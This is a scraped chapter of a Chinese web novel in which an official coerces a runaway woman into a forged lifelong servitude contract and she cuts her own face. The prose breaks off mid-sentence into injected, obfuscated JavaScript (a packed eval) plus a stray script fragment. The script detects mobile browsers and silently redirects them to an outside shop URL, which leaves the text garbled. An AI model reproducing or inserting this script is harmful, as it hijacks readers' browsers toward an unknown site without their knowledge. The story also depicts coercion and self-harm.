不知道怔愣了多久,忽然,洛青桃身上被砸了个什么东西,她回过神来,将视线从炭盆上移开,见竟然是一柄匕首被扔到了她手边。
思维似乎有些迟钝,片刻后洛青桃才反应过来,哦,匕首,可以将束缚双手的麻绳割断。于是她吃力的用被捆住的双手将匕首捡起来,将麻绳割断,双手这才得了自由。
她伸手扶着墙壁,终于慢慢站起了身,低头看着手腕,因被麻绳捆了许久,已摩擦出了血痕。
默默看着手腕上的血痕,洛青桃满脑子却在想,她的路引、她的户贴都被林庭树烧了,她以后都没有逃走的机会了。
为什么?她努力抗争,拼命逃走,却最后还是没有办法。
鸟雀挣脱不出猎人的罘网。
这期间,林庭树就掀袍坐在扶手椅上,目光沉冷,面无表情,一言不发地看着她。
他看到她站在那里,乌发湿透了,滴滴答答向下滴着水。被冻的狠了,面色那样惨白,屋里这么暖和,她的脸色都没有缓和的迹象。她整个人是这样狼狈,这样脆弱,又是这样倔强。
林庭树捏着椅子扶手,手背上青筋起了又消。
最终,他淡淡开口。
“跪下。”
但这只小鸟,再不复从前那虚假的乖巧温顺,她站在门边,身形分毫未动。
“我不跪。”
她说。
林庭树再度捏紧了椅子扶手,手背上青筋再起,他压抑着怒意,从牙缝里蹦出字来。
“我让你跪下!”
洛青桃仰着脖子,直直同他对视,“我没有错,我凭什么要跪!”
这句话令林庭树那压抑了许久的怒意陡然爆发出来,他猛地起身,一脚踹开椅子,大步朝洛青桃走来。
“你没有错?”林庭树冷笑连连,“你逃走了,还敢说你没有错?”
但洛青桃的脸上没有丝毫畏惧,哪怕被他掐着下颌,她被迫仰着脖子同他对视,但她神情依旧平静,那种平静中透出她骨子里的倔强。
她的路引和户贴已经被烧了,她没有希望了,她还有什么好怕的。得罪他又如何?现在她什么都不在乎了。
一字一句,斩钉截铁,她说,“我逃走了,但我没有错。”
这样的回话,令林庭树猛地撒开手,恨恨指着她,“为什么要逃!”
难道他对她不够好?他什么好东西没赏给她,她还有什么不知足的?真是个忘恩负义的东西!
洛青桃倔强地看着他,那双水波潋滟的眼中,此时此刻是全然的尖锐与嘲讽。
她反问,“我为什么不能逃?一开始我就不愿进府,是你逼我低头——”
“——那又如何!”林庭树冷喝着打断了她的话,“难道你后来不愿意?既不愿意,又为何如此温顺听话,还巴巴地给我绣香囊——”
洛青桃一声冷笑,“那都是假的,骗你的,不然你怎么会对我放松警惕,怎么会让我同去温泉庄子,我又怎么会找到机会逃走——”
“闭嘴!”林庭树一声暴喝。
他死死盯着她,目光几欲择人而噬,语气森冷之至,“……你再说一遍。”
洛青桃不服输,一字一句,“再说又如何!从进府第一天起,我就没有一天愿意过,全都是你逼迫我,你如今却反问我为什么要逃?”
“林庭树,我倒要反问你,笼子里的鸟儿凭什么不能逃?”
“这次被抓住了又如何?就算你烧了我的户贴和路引又如何?下一次,再下一次,就只要有丁点机会,我还会再逃!”洛青桃斩钉截铁。
林庭树怒极,他从没有这样生气过。
好,好,好!原来那些温情,都是她在虚以逶迤!
“我告诉你,你逃一次我抓一次,你逃一百次,我抓回你一百次!”
林庭树声音冷厉。
洛青桃不说话,别过脸不看他。林庭树伸手,猛地将她的脸掐过来,逼迫她看着自己,“你还敢不服气?”
洛青桃被迫看着林庭树,片刻后,她忽然一笑。
“对,不服!我不服!我就是不服!”
“你抓一次,我就再逃一次!你抓我一百次,我就会逃走一百次!”
她的声音是前所未有的尖锐,几乎要刺破林庭树的耳朵,从前那些温顺安静,全都是假象,这才是真正的她,骨子里有一种头破血流都不认输的倔强。
哪怕她此时此刻脸色苍白极了,哪怕她纤细的身体一直在发抖,哪怕她这样仓皇脆弱,但她还是倔强地梗着脖子同他作对。
这激烈的反抗令林庭树心中震撼,片刻后却愈发怒火烧起。
不听话的鸟雀,他定要驯服了她!
沉沉盯了她片刻,忽然,他那些外放的怒意在这一刻全都收敛了起来。他重新沉着脸看着她,片刻后问,“小鸟想要自由,是吗?”
他的声音里,充满了居高临下的嘲弄。
他这样的态度,洛青桃心中忽生不安。
她看到他走到桌前,执笔迅速写了什么,而后他走了过来,将那张纸摔到她脸上。
洛青桃很快看清了纸上的字。
卖身契。
他写了一张卖身契。
“今立死契:洛青桃自愿卖身入林府为奴婢,得银一百两整……”
洛青桃瞳孔震颤,抬头看向林庭树,“你、你什么意思,我不会卖身为奴婢!”
她怎么会卖身为奴,她靠一身医术自立于世,她自由自在,她还要回家乡去,她怎么会为了区区百两银子就卖身为奴,失了自由?
更何况这还是死契,除非主人放人,否则不得自赎的死契!
林庭树却噙着冷笑,“普通丫鬟卖身不过几两银子,看在你这张脸的份上,爷买你一百两银子,你还有什么不满的?”
洛青桃摇头,“我才不会卖身为奴!这卖身契是假的!”
但林庭树却反问,“假的?”
他轻笑,“本官说它是真的,那它就是真的!不信你可以去官府问,看这张卖身契一出,你的身份是良民,还是已成了贱籍奴仆?”
洛青桃不可置信地看着林庭树。
或许是她和林庭树的相处都是日常,她对他的权势从未领略过,直到此时此刻,她才真正意识到眼前这个人,他是正二品的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778879|204209||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
镇抚司指挥使,执掌诏狱,位高权重。他人的命运,他玩弄于掌心。
曾经一个县令就逼得她毫无办法,只能背井离乡避难。而对他来说,一个县令什么都算不上。
洛青桃只觉如堕冰窟,下一刻,她猛地伸手就要将那张卖身契抢过来撕碎!
她不是奴仆,她是自由的,她不是他的奴仆!
但林庭树何等力量,单手直接擒住了她的手腕,他冷眼看她拼命挣扎着,片刻后忽然松手,任她跌倒在地。
他脸上还挂着那种高高在上的、轻嘲的笑,屈指,慢条斯理轻弹了弹那张纸,而后将它收在了袖中。
然后他俯下身,如拍宠物一样,拍了拍她的脸。
“这大氅值银上百,赏你了,就当是你的卖身银子。”
洛青桃怔怔地看着他,看到他脸上轻嘲的笑收了起来,变回了那阴沉肃冷的模样。
“还想要自由吗?”
“还想跑吗?”
他问。
洛青桃却没有答话,只是目光落在他袖口处。她的卖身契就收在那里。
死契。
洛青桃知道这代表什么,民间的人家纵真有难处,要卖身做奴仆,也只会卖做活契,和主人家约定数年之后即得自由。除非那等丧了良心的人家,又或者实在是困难极了没有办法,才会卖做死契。
死契。
这代表着纵自己有了钱都不能自赎,除非主子开恩还契。
这代表着任打任骂不能还口,甚至是打死了都不能报官,因为死契奴仆并不算做人,只是主子的财产而已。
这代表着她若有后代,那么她的后代的身份也同她一样,甚至子子孙孙都如此。
这代表着她纵再能逃走,但一旦被官府抓到发现她是逃奴,就会被扭送回主子手上,若是找不到主人家,官府就会将她再次发卖,因为她和一个物件没有区别,是不能自己做主的。
这一刻,她已不再是一个人,她成了林庭树的个人财产,同他桌上的摆件、廊下的鸟雀再没有任何区别。
从前她是自由的,但现在她不是了。
方才那激烈的抗争不见了,屋子里一片死寂,半晌,洛青桃声音轻轻地开口,“林大人,上回我差点和王霖风成亲,你抓我回来时说,你看上的不过是我这张脸。只要我毁了这张脸,你就会放我走。”
“人的身体健康是很珍贵的,我是大夫,深知这个道理,怎么会轻易自损。更何况,长成这样并不是我的错。”
“可到底是我想错了。”
说罢,她忽然猛地去抓方才那扔在地上的匕首,匕首出鞘,她扬手将刀刃对准自己的脸就要划去!
林庭树瞳孔骤缩,不敢相信她竟这样做,直接去抓她的手,但她的动作太决绝,等他擒住她的手腕时,她却已将侧脸划出了一道伤痕。
林庭树死死盯着她的脸。
这伤痕是如此之深,她下手是如此之重,瞬间鲜血流了出来,沾污了那张素净如玉的脸庞。
血珠从侧脸流下来,像一滴滴血泪。
她决绝地直视他,“这张脸毁了,你能放了我吗?”